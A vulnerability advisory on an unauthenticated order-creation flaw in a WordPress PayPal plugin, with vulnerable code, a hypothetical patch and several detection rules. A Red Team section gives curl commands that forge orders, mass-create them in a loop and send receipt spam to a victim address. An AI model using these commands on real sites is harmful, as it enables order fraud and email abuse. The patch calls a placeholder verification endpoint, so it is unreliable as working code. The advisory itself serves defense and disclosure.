CVE-2025-14463

Executive Summary

CVE-2025-14463 is a critical security vulnerability in the Payment Button for PayPal WordPress plugin (versions up to and including 1.2.3.41). The plugin exposes a public AJAX endpoint (wppaypalcheckout_ajax_process_order) that processes checkout results without any authentication or server-side verification of the PayPal transaction. This allows unauthenticated attackers to create arbitrary orders with any transaction ID, payment status, product name, amount, or customer information via direct POST requests. If email sending is enabled, the plugin will also trigger purchase receipt emails to any email address supplied in the request, leading to order database corruption and unauthorized outgoing emails without any real PayPal transaction taking place.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. The lack of a patch or official advisory from the vendor increases supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is rated Medium due to the low integrity impact (order creation without payment) and no direct impact on confidentiality or availability. However, the ability to send arbitrary emails and corrupt order databases significantly increases the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the wppaypalcheckout_ajax_process_order AJAX endpoint. The plugin registers this endpoint as public (no authentication checks) and processes POST data directly into the order creation logic. The core issue is the lack of server-side verification of the PayPal transaction status. The plugin trusts the client-supplied transaction_id, payment_status, product_name, amount, and customer_email fields without validating them against PayPal's API.

The attack flow:

1. An attacker sends a POST request to /wp-admin/admin-ajax.php?action=wppaypalcheckout_ajax_process_order with crafted parameters.
2. The plugin creates a new order in the WordPress database with the attacker-controlled data.
3. If email notifications are enabled, the plugin sends a purchase receipt to the attacker-supplied email address.
4. The attacker can create unlimited fake orders, corrupting the order database and potentially sending spam/phishing emails.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require:

• Adding a nonce check or authentication requirement to the AJAX endpoint.
• Implementing server-side verification of the PayPal transaction using PayPal's IPN (Instant Payment Notification) or REST API.
• Validating that the transaction ID is unique and corresponds to a real PayPal payment.

Vulnerable code (simplified):

add_action('wp_ajax_nopriv_wppaypalcheckout_ajax_process_order', 'process_order');
add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'process_order');

function process_order() {
    $transaction_id = $_POST['transaction_id'];
    $payment_status = $_POST['payment_status'];
    $product_name = $_POST['product_name'];
    $amount = $_POST['amount'];
    $customer_email = $_POST['customer_email'];
    
    // No verification of PayPal transaction
    $order_id = wp_insert_post(array(
        'post_type' => 'shop_order',
        'post_title' => $product_name,
        'post_status' => 'wc-processing',
        'meta_input' => array(
            '_transaction_id' => $transaction_id,
            '_payment_method' => 'paypal',
            '_order_total' => $amount,
            '_billing_email' => $customer_email
        )
    ));
    
    if (get_option('wppaypalcheckout_send_email')) {
        wp_mail($customer_email, 'Purchase Receipt', 'Thank you for your purchase...');
    }
    
    wp_die();
}

Patched code (hypothetical):

add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'process_order_secure');
// Remove the nopriv action to require authentication

function process_order_secure() {
    if (!current_user_can('manage_options') && !wp_verify_nonce($_POST['_wpnonce'], 'paypal_order_nonce')) {
        wp_die('Unauthorized');
    }
    
    $transaction_id = sanitize_text_field($_POST['transaction_id']);
    $payment_status = sanitize_text_field($_POST['payment_status']);
    
    // Verify with PayPal API
    $paypal_verification = wp_remote_post('https://api.paypal.com/v1/verify', array(
        'body' => array('transaction_id' => $transaction_id)
    ));
    
    if (is_wp_error($paypal_verification) || $paypal_verification['response']['code'] != 200) {
        wp_die('Invalid transaction');
    }
    
    // Proceed with order creation only after verification
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=wppaypalcheckout_ajax_process_order" -X POST -d "transaction_id=FAKE123&payment_status=completed&product_name=FakeProduct&amount=99.99&customer_email=attacker@evil.com"
   

2. Create multiple fake orders:

   for i in {1..10}; do
     curl -s "http://target.com/wp-admin/admin-ajax.php?action=wppaypalcheckout_ajax_process_order" \
       -X POST \
       -d "transaction_id=FAKE$i&payment_status=completed&product_name=Product$i&amount=$((RANDOM % 100)).99&customer_email=spam$i@evil.com"
   done
   

3. Trigger email spam:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=wppaypalcheckout_ajax_process_order" \
     -X POST \
     -d "transaction_id=SPAM001&payment_status=completed&product_name=SpamProduct&amount=0.01&customer_email=victim@example.com"
   

Expected Outcome: Orders appear in the WordPress admin panel with attacker-controlled data. If email is enabled, the victim receives a purchase receipt email.

Blue Team

Detection Steps:

1. Monitor AJAX requests: Look for POST requests to admin-ajax.php with action=wppaypalcheckout_ajax_process_order from unauthenticated users.

2. Check order database: Look for orders with suspicious transaction IDs (e.g., "FAKE", "TEST", random strings) or orders with no corresponding PayPal IPN notification.

3. Review email logs: Check for outgoing emails to addresses that don't match known customers.

4. Harden the endpoint: Temporarily disable the plugin or add a web application firewall (WAF) rule to block unauthenticated access to the vulnerable AJAX action.

WAF Rule (ModSecurity):

SecRule REQUEST_FILENAME "/wp-admin/admin-ajax\.php" "chain,id:1001,deny,msg:'CVE-2025-14463 Exploit Attempt'"
SecRule ARGS:action "wppaypalcheckout_ajax_process_order" "chain"
SecRule &ARGS:transaction_id "@gt 0"

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=wppaypalcheckout_ajax_process_order from unauthenticated sources.
  • Multiple orders with transaction IDs containing "FAKE", "TEST", or random alphanumeric strings.
  • Orders with payment status "completed" but no corresponding PayPal IPN log.

• File IOCs:

  • Modified or unexpected entries in the wp_posts table with post_type = 'shop_order'.
  • Email logs showing purchase receipts sent to unknown addresses.

• Behavioral IOCs:

  • Sudden spike in order creation without corresponding PayPal transactions.
  • Outgoing email volume increase from the WordPress site.

Detection Engineering

YARA Rule

rule CVE_2025_14463_WordPress_PayPal_Plugin {
    meta:
        description = "Detects exploitation attempts of CVE-2025-14463 in Payment Button for PayPal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14463"
    strings:
        $ajax_action = "wppaypalcheckout_ajax_process_order"
        $transaction_id = "transaction_id"
        $payment_status = "payment_status"
        $customer_email = "customer_email"
    condition:
        $ajax_action and ($transaction_id or $payment_status or $customer_email)
}

Sigma Rule

title: CVE-2025-14463 - Unauthenticated Order Creation via PayPal Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable AJAX endpoint of Payment Button for PayPal plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wppaypalcheckout_ajax_process_order'
    condition: selection
falsepositives:
    - Legitimate plugin usage (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14463 - Payment Button for PayPal Unauthenticated Order Creation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wppaypalcheckout_ajax_process_order"; http_client_body; pcre:"/(transaction_id|payment_status|customer_email)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any fake orders created by attackers from the database.
3. Review email logs for unauthorized outgoing emails and notify affected recipients.

Long-term Fixes:

1. Apply server-side PayPal verification using PayPal's IPN or REST API.
2. Add authentication and nonce checks to the AJAX endpoint.
3. Implement rate limiting on order creation endpoints.
4. Monitor for plugin updates from the vendor.

Workaround (if plugin must remain active):

• Add a WAF rule to block unauthenticated access to the vulnerable AJAX action.
• Disable email notifications in the plugin settings to prevent spam.

Valters IT - DevSecOps & Cyber Threat Intelligence